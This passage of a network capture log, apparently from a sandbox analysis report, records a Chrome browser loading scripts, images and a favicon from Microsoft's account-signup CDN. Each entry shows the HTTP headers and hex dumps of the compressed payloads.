2024-04-16 23:43:00 UTC	13013	IN	Data Raw: 3a c5 59 d4 c0 49 88 71 43 38 ba 65 69 4a ea 76 64 2b ca e6 a7 fa 0d ba b8 5c e4 b6 29 ef ad ce a4 2d a5 61 80 2b 6b 88 a6 f7 f0 64 c3 41 86 05 21 ca f3 30 19 4e 8b 14 46 27 56 ab 4c 73 eb 54 08 3f 39 d4 3a 75 43 f3 d8 e7 55 9a 09 3a ad ab 55 1f 56 67 ad 88 21 1a ca 25 84 16 0f 6f 96 29 8e 15 2b 32 38 95 e0 15 a5 1f 53 06 a5 69 45 01 04 ad 62 ab d8 50 da 19 d9 22 55 f0 b6 82 5b b2 16 ed c0 fb b5 58 81 96 ba 38 8c a9 0a 9e 3f 6b 3e b6 91 11 c5 59 a1 94 5a 63 99 6a c8 f3 3f 79 da 55 78 29 1c 9b cd 68 da 9d 3f 04 03 78 38 09 b5 eb 03 f6 22 a5 55 4f a5 a6 65 91 41 9b 7e 53 d7 78 60 d8 ca 1b 89 41 2c 8c 1a 69 f7 4a 1f ab 44 46 b2 ea c0 9f 1d 53 0c f0 43 17 28 ca 24 0d 90 c5 d6 df c0 0b 01 68 d1 ef ec 91 5e bf 30 af 5f 36 af 92 9e 68 bf ec a0 d2 71 69 dc 28 c6 Data Ascii: :YIqC8eiJvd+\)-a+kdA!0NF'VLsT?9:uCU:UVg!%o)+28SiEbP"U[X8?k>YZcj?yUx)h?x8"UOeA~Sx`A,iJDFSC($h^0_6hqi(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49771	13.107.213.41	443	1880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 23:43:00 UTC	615	OUT	GET /lwsignupstringscountrybirthdate_en-us_gdxUIqa3ijrOefuBnwhTKg2.js?v=1 HTTP/1.1 Host: acctcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://signup.live.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 23:43:00 UTC	793	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 23:43:00 GMT Content-Type: application/javascript Content-Length: 7203 Connection: close Cache-Control: public, max-age=604800 Content-Encoding: gzip Last-Modified: Sun, 14 Apr 2024 05:06:26 GMT ETag: 0x8DC5C40A2E8606C x-ms-request-id: 8652880d-a01e-0061-4eb5-8e1f9b000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240416T234300Z-r1f585c6b65wcbj7wbun4au90000000005d0000000001gfr x-fd-int-roxy-purgeid: 67912908 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-04-16 23:43:00 UTC	7203	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 5c cd 72 e3 48 72 be fb 29 b0 b4 23 d4 e3 e8 51 f3 ff a7 b7 a5 b5 44 49 14 5b 24 c5 11 29 f5 cf ee c6 44 11 2c 91 18 81 28 4e 01 10 87 dd 31 11 be f8 21 7c f6 c1 b1 07 df fc 06 fd 26 7e 12 67 16 40 22 13 12 a0 c1 c4 ee a5 9b 02 b2 aa b2 be fc fb b2 00 f2 0f f7 a1 67 07 8e f2 5e 7d f7 55 cb 85 e3 07 52 8f c4 4a fa 6b 61 cb 57 a5 7f e9 2a ef de 59 94 be 7b 1d 7f 3a f4 97 42 cb f9 24 d0 8e b7 f0 8f be 96 a4 d6 4a fb a5 b7 5f 4b 5a fe 1c 3a 70 af f4 b6 34 5d 3a be e5 78 f7 4a af 04 4e 6e c1 9f bb db 87 a5 d7 25 b9 12 8e 7b 93 c8 9f 78 96 b9 64 89 f9 5c 4b df a7 f2 20 be 5e 2a 4f 52 71 cb 5c b1 bc 70 35 93 3a 2d 2c 7c 7f a3 f4 9c cb c7 17 53 b2 8e f7 28 5c 67 7e 8e 6b 5f 18 65 41 fa dc 03 0c ac 60 29 d3 3a 79 e6 62 b4 29 cb 57 Data Ascii: \rHr)#QDI[$)D,(N1!\|&~g@"g^}URJkaWY{:B$J_KZ:p4]:xJNn%{xd\K ^ORq\p5:-,\|S(\g~k_eA`):yb)W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49768	13.107.213.41	443	1880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 23:43:00 UTC	602	OUT	GET /lightweightsignuppackage_I2u0h5_OVsvo48cPwiR07Q2.js?v=1 HTTP/1.1 Host: acctcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://signup.live.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 23:43:01 UTC	815	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 23:43:00 GMT Content-Type: application/javascript Content-Length: 53103 Connection: close Cache-Control: public, max-age=604800 Content-Encoding: gzip Last-Modified: Fri, 05 Apr 2024 10:07:12 GMT ETag: 0x8DC555829D20670 x-ms-request-id: 8b8214e9-e01e-0049-212b-8dd6b9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240416T234300Z-r1f585c6b65wz25qeterevm7v00000000550000000002dpv x-fd-int-roxy-purgeid: 67912908 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-16 23:43:01 UTC	15569	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ec 7d 79 7f db b6 b2 e8 ff fe 14 32 eb a3 92 15 a4 48 f2 92 44 0a ad eb 25 69 dc 6c 6e 9c 34 6d 5d 35 8f 16 29 89 35 45 aa 24 e5 a5 96 ee 67 7f 33 03 80 04 37 d9 c9 69 ef b9 ef f7 7b 3d 27 16 09 80 58 06 83 d9 30 18 8c 17 fe 28 76 03 bf f6 dc 1f 85 b7 f3 58 77 58 cc 7c 66 19 77 57 56 58 0b cc f3 61 3f ba 76 e3 d1 54 f7 5b 71 f0 3a b8 76 c2 23 2b 72 74 c3 b8 1b c1 af 36 9a 4e a2 3f 23 4b eb b9 63 dd 5f 78 9e 69 3a cb 25 7f 88 8d bb d0 89 17 a1 5f c3 f7 55 60 9e 5a a3 4b 6b e2 9c 1d 1c 5b b1 85 0d 19 fd 8b d0 b1 2e fb b2 a6 f9 b5 5d 56 91 55 51 d1 5b e7 fa c0 b7 df 79 f6 e9 b5 0d d5 59 99 ea 72 75 55 54 01 5f be f3 bd 5b dd c9 7e eb fa 0f f9 d6 f5 cb be 0d 83 60 ac 7e 5d af af 07 c7 eb 60 e2 fa 27 7e 4c 40 c1 ac 4d d3 19 38 bd Data Ascii: }y2HD%iln4m]5)5E$g37i{='X0(vXwX\|fwWVXa?vT[q:v#+rt6N?#Kc_xi:%_U`ZKk[.]VUQ[yYruUT_[~`~]`'~L@M8
2024-04-16 23:43:01 UTC	16384	IN	Data Raw: c2 7d 52 68 a5 b6 4b 75 83 4e 5b 2e 0f 13 6d ff cc 5d de 78 b7 84 1f 94 c3 2b 02 15 b7 b3 dd de 43 05 f7 4e a3 b4 17 ae e3 d9 ef c5 35 f3 40 f7 78 0d 9d 76 e7 09 10 3c 7a 79 8e b1 6f 85 49 ec 05 5d 43 ac 14 db de cd 14 7b 8e 96 ea 28 cd ef 3e 79 ac ad d6 6a 43 11 e9 c1 29 4c 51 e7 9d cb 67 50 9f e7 02 9e a8 41 0b 4a 46 9e 70 96 84 25 ea cd 36 87 24 29 d5 0a 1c c9 cb 25 81 22 ee 4e d9 09 0c 7b 57 7f af 1a 96 95 b2 72 2a 98 74 78 eb 6f 7e 79 52 36 58 6e 12 1a 58 eb bb fc d8 cd 6c be 88 d1 b1 16 04 ba 34 90 1c ca 44 06 ee 0f dc 53 a4 95 de c4 78 84 17 31 d2 d1 a2 2f fe 2a 17 49 57 9e ec 54 23 d1 d6 00 4d 26 e8 7f 0d 72 1c 17 7b 41 fc 0b 27 17 7a 9b c1 ff 0c 8c b4 80 56 f0 6f da f4 9f fa 4a cf b0 8a a9 74 77 77 97 89 7f e9 37 63 fa 4f 7d e5 df 84 fc 9b ed 2e Data Ascii: }RhKuN[.m]x+CN5@xv<zyoI]C{(>yjC)LQgPAJFp%6$)%"N{Wrtxo~yR6XnXl4DSx1/IWT#M&r{A'zVoJtww7cO}.
2024-04-16 23:43:01 UTC	16384	IN	Data Raw: ba fe 78 f9 e1 83 93 84 49 67 f8 43 0c 42 5a ee e1 57 97 2e f4 1b 41 35 81 fe 72 0c 17 98 f2 19 d3 f1 49 70 55 29 c5 1b 9d 71 e3 00 8c cd 3f 26 d0 df 28 fa 4f 77 fd 97 cb 55 8c 80 0e eb d4 84 13 6a 1c 4e 3e 13 d8 6b cc bc d0 b9 06 8e 3a 07 7b 59 cf 3a 3d ff 9a a2 fc 53 b1 a6 9a 63 62 67 8a 16 17 ee b8 53 98 c3 f6 5a 73 f8 79 10 17 b9 a0 56 4b e0 5a 53 d8 35 1b 4b 0e 9c 1d 7a 9d 73 fb 92 d0 6f fd 8a 3a 8a 86 d0 7f b5 f9 55 01 5a 62 ce ac db 6a f6 24 ab 18 db 4e 97 b8 ea fc ef 0b ff d5 ef bb af 7e b9 74 ca 5b fb cd 3c c5 f8 e1 49 f6 21 cc 6e 8e 03 1c 7b bd 79 e3 a4 db 0e 50 b5 05 07 3f 88 ce c8 9e 05 e3 c2 ef fb 50 00 87 8a 8e d8 ad d6 c1 62 51 98 f6 e3 36 fa 99 f0 c9 85 b3 10 15 09 6d 56 45 d6 32 a9 93 5f cb f2 a4 87 97 3a 61 34 0a 1e bc ed 1e 7d 7e ed 5f Data Ascii: xIgCBZW.A5rIpU)q?&(OwUjN>k:{Y:=ScbgSZsyVKZS5Kzso:UZbj$N~t[<I!n{yP?PbQ6mVE2_:a4}~_
2024-04-16 23:43:01 UTC	4766	IN	Data Raw: 69 c3 37 d6 ad 9a 9a 40 95 f7 51 80 69 19 76 b4 70 94 43 4e 5f fd 8a 93 29 ec 14 e3 6f e2 c9 64 ad 8d 46 18 7a c7 ac dc d6 33 17 7c 99 6b 0a 1b 2f fc 17 9b 06 0e 05 bc f0 a1 ee bc ea 15 9d 59 dd 51 95 45 c2 62 61 7d 44 78 c6 c3 be 0f 52 e8 1b c5 61 a2 79 12 4d bd 3a 1c 66 a2 95 5e 56 db 00 93 bb 77 f6 cb dc aa 9d d5 bd b8 84 da af 4d 9e 99 b6 2b 7a 08 59 8a 45 0b 61 c0 80 e6 a4 72 96 e6 85 22 7e 20 60 94 60 3d 6f 32 52 4a bc b5 2f 18 0a d0 55 bd 56 c6 ad 3f ae cc 42 f2 fa da 08 3b a7 7a 62 36 8a 82 e5 63 d2 49 e4 77 d5 43 7e ce a1 e3 b3 fe 9b 59 17 88 1c 00 e7 a6 3b 1e a5 e8 9c 33 d3 5c 45 a0 1e 77 fd c0 15 14 59 f7 a4 7e 58 94 92 42 d8 b5 c0 f9 5e 40 09 2c 27 a7 0b db 40 20 aa 71 a6 7f 67 81 e9 ae 06 a6 59 1e ec bb 04 99 f6 ec 19 e0 e3 f6 25 57 16 f8 ae Data Ascii: i7@QivpCN_)odFz3\|k/YQEba}DxRayM:f^VwM+zYEar"~ ``=o2RJ/UV?B;zb6cIwC~Y;3\EwY~XB^@,'@ qgY%W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49773	13.107.246.71	443	1880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 23:43:01 UTC	391	OUT	GET /images/microsoft_logo_7lyNn7YkjJOP0NwZNw6QvQ2.svg HTTP/1.1 Host: acctcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 23:43:01 UTC	798	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 23:43:01 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=604800 Content-Encoding: gzip Last-Modified: Sat, 13 Apr 2024 04:51:43 GMT ETag: 0x8DC5B756AAC2753 x-ms-request-id: b8617e94-501e-00b6-0626-8efaf3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240416T234301Z-18655757dbcn6rtcxqsm0vc51s00000004fg000000009pc3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-16 23:43:01 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49774	13.107.213.41	443	1880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 23:43:01 UTC	599	OUT	GET /images/favicon.ico?v=2 HTTP/1.1 Host: acctcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 23:43:01 UTC	757	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 23:43:01 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=604800 Last-Modified: Sun, 14 Apr 2024 05:06:12 GMT ETag: 0x8DC5C409A931B84 x-ms-request-id: 4f9068e3-d01e-0052-7479-8e438c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240416T234301Z-18655757dbcm69790nydn27waw00000004a0000000008x3q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-04-16 23:43:01 UTC	15627	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-04-16 23:43:01 UTC	1547	IN	Data Raw: 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333""""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49779	13.107.213.41	443	1880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 23:43:01 UTC	553	OUT	GET /oneds_MC5gQfpbTUjLu60sQCwU1w2.js?v=1 HTTP/1.1 Host: acctcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 23:43:01 UTC	795	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 23:43:01 GMT Content-Type: application/javascript Content-Length: 105716 Connection: close Cache-Control: public, max-age=604800 Content-Encoding: gzip Last-Modified: Mon, 15 Apr 2024 04:47:32 GMT ETag: 0x8DC5D0729A8AFFB x-ms-request-id: cee24f95-501e-00ce-0739-8f50e2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240416T234301Z-18655757dbcxww27g9hwr42h5800000004eg000000004znw x-fd-int-roxy-purgeid: 67912908 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-04-16 23:43:01 UTC	15589	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bc bd 69 73 db 48 b2 2e fc 7d 22 e6 3f 90 b8 0e 1d a0 59 a2 49 6d dd 06 5d c3 90 b5 d8 b2 ad c5 5a 6c 77 73 74 14 10 59 92 60 51 00 8d 45 8b 2d 9e df 7e f3 c9 2a 00 05 92 9e 99 7b ef 1b ef 4c 5b 44 ed 5b 56 56 66 56 66 d6 cb df 9a 7f ff 5b e3 b7 46 77 fb a4 f1 fe a4 71 b2 fd a1 b1 15 27 4a 34 56 db 2b ed 0d 4e da 8a 27 4f 49 78 7d 93 35 dc a1 d7 d8 0f 87 49 9c c6 57 59 23 88 46 8d 61 1c 65 49 78 99 67 71 92 b6 1b 9b e3 71 83 73 a6 8d 44 a5 2a b9 57 a3 36 57 e1 56 a5 f6 a2 4c 25 51 30 6e 1c 46 e3 27 0f a9 2f ff fe b7 fb 20 69 44 32 bb 09 53 a1 e4 55 1e 0d b3 30 8e dc c8 fb e9 e4 a9 6a a4 d4 c4 30 73 7a c8 75 24 9d 22 dd 11 b9 74 e2 cb 6f 8a d2 a8 98 93 47 23 75 15 46 6a e4 88 54 3a 93 24 ce e2 ec 69 a2 1c b1 23 9d 9b 20 3d 7c Data Ascii: isH.}"?YIm]ZlwstY`QE-~{L[D[VVfVf[Fwq'J4V+N'OIx}5IWY#FaeIxgqqsDW6WVL%Q0nF'/ iD2SU0j0szu$"toG#uFjT:$i# =\|
2024-04-16 23:43:01 UTC	16384	IN	Data Raw: a0 02 02 96 cd a1 6e 9f 71 48 b7 53 6d 45 7d dc 6c e5 b4 8d ef b6 b5 7b 31 33 70 43 70 50 ee 35 dd a3 7d 3a 3d 93 27 a7 3e d5 dd 0e e3 20 9c fb b4 9f 95 19 27 e2 69 61 60 21 a0 a9 07 46 65 99 df 11 47 61 78 b1 4d 6c 01 35 9a 87 e9 8d 1a 31 cb da e5 f8 b7 e0 15 c2 21 8e 07 e2 d4 11 b3 77 f4 79 8d 7a 98 d0 12 fa ab 26 e6 7e a3 88 59 e3 98 7d 1a c7 49 ce 7b d7 5f e7 18 f6 ae 75 90 df 5d aa c4 df e0 18 3a 94 08 b1 ea 97 cb 7f e7 98 93 70 52 54 f3 87 8e b8 cb ca 98 57 ba 29 56 ea c8 9e fc ae ee f6 59 12 fa 5d dd d3 dd ef a3 c8 ef ce f5 f1 23 ed ee 21 e5 5f 15 7a 42 55 62 16 a4 18 9a 09 fa f0 0c 00 aa 4c 4f 0d d1 15 63 9a 82 ad 38 cd b6 81 60 e8 54 a3 f1 13 3d 34 06 97 40 03 df bb bb 53 a3 10 ca 15 6b a0 24 73 f3 3a 6e 5a ec 0a 9a 57 33 38 bc 8a 9b ad ae 50 f1 Data Ascii: nqHSmE}l{13pCpP5}:='> 'ia`!FeGaxMl51!wyz&~Y}I{_u]:pRTW)VY]#!_zBUbLOc8`T=4@Sk$s:nZW38P
2024-04-16 23:43:02 UTC	16384	IN	Data Raw: 3f 22 31 aa 47 51 e1 d5 c3 fc 06 6f a7 80 ed 11 3f d2 4e 94 70 67 3e 21 0f 1c 02 09 b1 70 14 e0 bb f8 98 f2 23 7a 39 bc 4b 06 7e a1 4c 98 0a 3f 53 b0 a3 85 79 a9 9f f2 a3 04 bc f3 e3 d9 4c 9d 83 bd 41 49 0b a3 d1 50 4a 48 1c 3a ae 63 b8 26 6b 9a 5e 5b 38 6e 58 e3 e1 97 9e 56 0e a3 4c f8 1b 99 5f fb 82 53 93 86 94 6e e4 83 b1 c6 fb 5c b0 ea 2f 9a d6 6c 11 ae 74 d1 2c 47 6e 04 fd ac da d3 03 8c ba 28 03 72 a8 30 98 74 1f 3d 8c 36 fd cd 27 8f 1f 3c 7c fc 98 a0 a0 4e d8 88 1e 01 d0 a9 11 03 bb 12 a9 96 01 9e 05 b0 ce 10 4b 39 ec ea bb 2d da a8 3f ab d1 52 e7 04 b2 e6 9e f6 bd c6 66 1b c1 39 47 ac 41 b7 d0 4f aa 8c 26 08 d0 0d 75 f3 5b c1 40 3e 70 1d 0c 2d 60 1c 6e 99 e3 d5 b8 fe fb cf b0 32 05 01 dd 3f 13 98 de 35 e8 2e d8 68 6d 35 1a b0 25 8d 9a f9 e4 94 0e Data Ascii: ?"1GQo?Npg>!p#z9K~L?SyLAIPJH:c&k^[8nXVL_Sn\/lt,Gn(r0t=6'<\|NK9-?Rf9GAO&u[@>p-`n2?5.hm5%
2024-04-16 23:43:02 UTC	16384	IN	Data Raw: 26 fa 77 e6 c0 0e 61 ac c0 a3 8d b7 1e 74 e2 46 c3 23 bc 82 ae fd 87 d8 ef 60 03 7b 7d ba 21 a3 3f fe 78 b0 d6 7e a8 1f 1f 57 8f ed 0d eb f9 51 f5 bc d1 b2 9e ad aa 1b 5c b7 63 2e d4 c7 0d 77 73 8d bf 32 6d 95 8c 98 a4 b7 67 66 5b 1e 9f a8 07 34 8d 0f 1c fd da de 54 9b 5e 23 33 6f 8f f0 a6 9f 9f 60 4d 18 8e 65 21 d1 9b ff f0 9f a3 c2 25 a5 2c 09 58 1a ce 1d 4d 4d cb 89 0c 22 12 d7 9c d0 dd 00 04 bd ff 57 ef cf 61 b8 7e d6 27 c4 cf d6 28 09 2d a4 91 1b dc dc 50 99 2d 39 9f 2c 94 a0 31 85 a1 8c 23 0f 19 4b 1d 8b df 2a 4b b0 3d b2 6b e5 a1 46 a2 e0 79 08 0c 10 88 41 ed dd 76 16 ba 75 6c 46 e9 d8 3d e2 8d 9d 30 c6 e7 44 08 76 42 8d db a4 41 d8 bb 83 68 12 1a e6 ae 16 4f de 44 e0 22 bd 84 12 bd 16 54 52 0a c4 62 2e d2 5e 11 39 89 bf b0 01 ce 02 ea 5d ea 79 48 Data Ascii: &watF#`{}!?x~WQ\c.ws2mgf[4T^#3o`Me!%,XMM"Wa~'(-P-9,1#K*K=kFyAvulF=0DvBAhOD"TRb.^9]yH
2024-04-16 23:43:02 UTC	16384	IN	Data Raw: 5d 7c f8 33 25 f8 4c 07 00 cf 26 39 03 da 93 13 b6 a3 ee a8 77 0b 0b 6d 26 f9 87 dd 5f 9a e6 33 50 7d f8 c4 2b f6 13 d0 26 0e 2b 20 21 13 24 8a 32 ac db 1b ea e4 b1 a5 5c 63 85 25 62 25 3f a2 a6 cc 6c 63 c8 d3 ff 7b 41 b1 a5 1a 46 df 60 98 a2 d7 46 62 93 f2 3d 09 28 f1 7f f3 b6 96 b1 e4 3f ce 10 f8 56 0e eb 39 d2 68 97 1d 8d a3 25 87 d7 bd d1 62 a9 45 c0 1c 35 64 85 35 4c f1 45 61 3d 28 96 28 c5 83 0a 01 16 79 67 ed 33 06 9c 6a d6 f5 50 05 48 53 0d d8 d8 0b 53 ee 02 12 db b3 ba fe 67 52 3f a5 78 34 c1 de 27 5f 13 3e d3 b1 d4 f5 51 f5 d8 23 33 b0 89 4f db 78 91 55 65 b3 d8 01 a2 f3 fa 9b 38 35 d6 ea d3 cd b2 48 99 22 72 08 30 8e f7 35 e8 79 15 8d e8 33 8f f5 e4 69 67 02 dd ea f8 3f 53 d9 9d c1 0e 7b 96 4a 5b 07 81 79 04 c0 ca da 23 bc df 22 d6 21 7a ca fa Data Ascii: ]\|3%L&9wm&_3P}+&+ !$2\c%b%?lc{AF`Fb=(?V9h%bE5d5LEa=((yg3jPHSSgR?x4'_>Q#3OxUe85H"r05y3ig?S{J[y#"!z
